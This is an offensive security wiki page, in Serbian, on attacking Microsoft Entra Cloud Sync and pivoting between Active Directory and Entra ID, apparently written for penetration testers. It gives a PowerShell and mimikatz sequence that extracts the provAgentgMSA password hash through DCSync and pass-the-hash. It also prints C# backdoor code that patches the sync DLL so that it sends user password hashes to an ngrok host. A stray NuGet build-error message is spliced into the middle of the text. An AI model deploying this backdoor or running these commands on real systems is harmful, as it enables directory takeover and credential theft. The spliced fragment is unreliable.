# Az - Cloud Sync

{{#include ../../../../banners/hacktricks-training.md}}

## Osnovne informacije

**Cloud Sync** je u suštini novi način Azure-a da **synchronize the users from AD into Entra ID**.

[Iz dokumenata:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync je nova ponuda od Microsoft-a dizajnirana da ispuni i postigne vaše ciljeve hibridnog identiteta za sinhronizaciju korisnika, grupa i kontakata u Microsoft Entra ID. To postiže korišćenjem Microsoft Entra cloud provisioning agenta umesto Microsoft Entra Connect aplikacije. Međutim, može se koristiti zajedno sa Microsoft Entra Connect Sync.

### Generisani principi

Da bi ovo funkcionisalo, neki principi se kreiraju u Entra ID i On-Premise direktorijumu:

- U Entra ID, korisnik `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) se kreira sa ulogom **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).

> [!WARNING]
> Ova uloga je ranije imala mnogo privilegovanih dozvola i mogla se koristiti za [**escalate privileges even to global admin**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Međutim, Microsoft je odlučio da ukloni sve privilegije ove uloge i dodeli joj samo novu **`microsoft.directory/onPremisesSynchronization/standard/read`** koja zapravo ne omogućava izvršavanje bilo koje privilegovane akcije (kao što je modifikovanje lozinke ili atributa korisnika ili dodavanje nove akreditacije SP-u).

- U Entra ID takođe se kreira grupa **`AAD DC Administrators`** bez članova ili vlasnika. Ova grupa je korisna ako se koristi [`Microsoft Entra Domain Services`](./az-domain-services.md).

- U AD, ili se kreira Service Account **`provAgentgMSA`** sa SamAcountName kao **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ili prilagođeni sa [**ovim dozvolama je potreban**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Obično se kreira podrazumevani.

> [!WARNING]
> Pored drugih dozvola, Service Account **`provAgentgMSA`** ima DCSync dozvole, omogućavajući **bilo kome ko ga kompromituje da kompromituje ceo direktorijum**. Za više informacija o [DCSync proverite ovo](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).

> [!NOTE]
> Podrazumevano, korisnici poznatih privilegovanih grupa kao što su Domain Admins sa atributom **`adminCount` na 1 nisu sinhronizovani** sa Entra ID iz bezbednosnih razloga. Međutim, drugi korisnici koji su deo privilegovanih grupa bez ovog atributa ili koji su dodeljeni visoke privilegije direktno **mogu biti sinhronizovani**.

## Sinhronizacija lozinki

Odeljak je vrlo sličan onom iz:

{{#ref}}
az-connect-sync.md
{{#endref}}

- **Sinhronizacija heša lozinke** može biti omogućena tako da korisnici mogu **prijaviti se u Entra ID koristeći svoje lozinke iz AD**. Štaviše, kada god se lozinka izmeni u AD, biće ažurirana u Entra ID.
- **Pisanje lozinke** takođe može biti omogućeno, omogućavajući korisnicima da modifikuju svoju lozinku u Entra ID automatski sinhronizujući svoju lozinku u on-premise domenu. Ali prema [trenutnim dokumentima](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), za ovo je potrebno koristiti Connect Agent, pa pogledajte [Az Connect Sync odeljak](./az-connect-sync.md) za više informacija.
- **Pisanje grupa**: Ova funkcija omogućava članstvima grupa iz Entra ID da se sinhronizuju nazad u on-premises AD. To znači da ako je korisnik dodat u grupu u Entra ID, takođe će biti dodat u odgovarajuću grupu u AD.

## Pivotiranje

### AD --> Entra ID

- Ako se AD korisnici sinhronizuju iz AD u Entra ID, pivotiranje iz AD u Entra ID je jednostavno, samo **kompromitujte lozinku nekog korisnika ili promenite lozinku nekog korisnika ili kreirajte novog korisnika i čekajte dok se ne sinhronizuje u Entra ID direktorijum (obično samo nekoliko minuta)**.

Tako da biste mogli, na primer
- Kompromitovati **`provAgentgMSA`** nalog, izvršiti DCSync napad, provaliti lozinku nekog korisnika i zatim je koristiti za prijavu u Entra ID.
- Samo kreirati novog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim ga koristiti za prijavu u Entra ID.
- Modifikovati lozinku nekog korisnika u AD, čekati dok se ne sinhronizuje u Entra ID i zatim je koristiti za prijavu u Entra ID.

Da biste kompromitovali **`provAgentgMSA`** akreditive:
```powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
```
Sada možete koristiti hash gMSA da izvršite Pass-the-Hash napad protiv Entra ID koristeći `provAgentgMSA` nalog i održite postojanost, što vam omogućava da izvršite DCSync napade protiv AD-a.

Za više informacija o tome kako kompromitovati Active Directory, pogledajte:

{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
{{#endref}}

> [!NOTE]
> Imajte na umu da ne postoji način da se Azure ili EntraID uloge dodele sinhronizovanim korisnicima na osnovu njihovih atributa, na primer, u konfiguracijama Cloud Sync. Međutim, kako bi se automatski dodelile dozvole sinhronizovanim korisnicima, neke **Entra ID grupe iz AD** mogu dobiti dozvole, tako da sinhronizovani korisnici unutar tih grupa takođe dobijaju iste ili se mogu koristiti **dinamičke grupe**, pa uvek proverite dinamička pravila i potencijalne načine za njihovo zloupotrebu:

{{#ref}}
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
{{#endref}}

Što se tiče postojanosti, [ovaj blog post](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugeriše da je moguće koristiti [**dnSpy**](https://github.com/dnSpy/dnSpy) da se unese backdoor u dll **`Microsoft.Online.Passwordsynchronisation.dll`** koji se nalazi u **`C:\Program Files\Microsoft Azure AD Sync\Bin`** i koji koristi Cloud Sync agent za izvršavanje sinhronizacije lozinki, čineći da eksfiltrira hash lozinki korisnika koji se sinhronizuju na udaljeni server. Hash-ovi se generišu unutar klase **`PasswordHashGenerator`** i blog post sugeriše dodavanje nekog koda tako da klasa izgleda ovako (napomena na `use System.Net` i korišćenje `WebClient` za eksfiltraciju hash-ova lozinki):
```csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}
```
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
. Please see Error List window for detailed warnings and errors.

### Entra ID --> AD

- Ako je **Password Writeback** omogućen, mogli biste da modifikujete lozinku nekih korisnika iz Entra ID i ako imate pristup AD mreži, povežite se koristeći njih. Za više informacija pogledajte odeljak [Az Connect Sync section](./az-connect-sync.md) jer se writeback lozinke konfiguriše koristeći taj agent.

- U ovom trenutku Cloud Sync takođe omogućava **"Microsoft Entra ID to AD"**, ali nakon previše vremena otkrio sam da NE MOŽE da sinhronizuje EntraID korisnike sa AD i da može samo da sinhronizuje korisnike iz EntraID koji su sinhronizovani sa hešom lozinke i dolaze iz domena koji pripada istom domen forestu kao domen na koji se sinhronizujemo, kao što možete pročitati na [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):

> - Ove grupe mogu sadržati samo lokalno sinhronizovane korisnike i / ili dodatne sigurnosne grupe kreirane u oblaku.
> - Lokalni korisnički nalozi koji su sinhronizovani i članovi ove sigurnosne grupe kreirane u oblaku, mogu biti iz istog domena ili između domena, ali svi moraju biti iz istog forest-a.

Dakle, površina napada (i korisnost) ove usluge je značajno smanjena jer bi napadač morao da kompromituje inicijalni AD iz kojeg se korisnici sinhronizuju kako bi kompromitovao korisnika u drugom domenu (i oba moraju biti u istom forest-u očigledno).

### Enumeration
```bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"
```
{{#include ../../../../banners/hacktricks-training.md}}
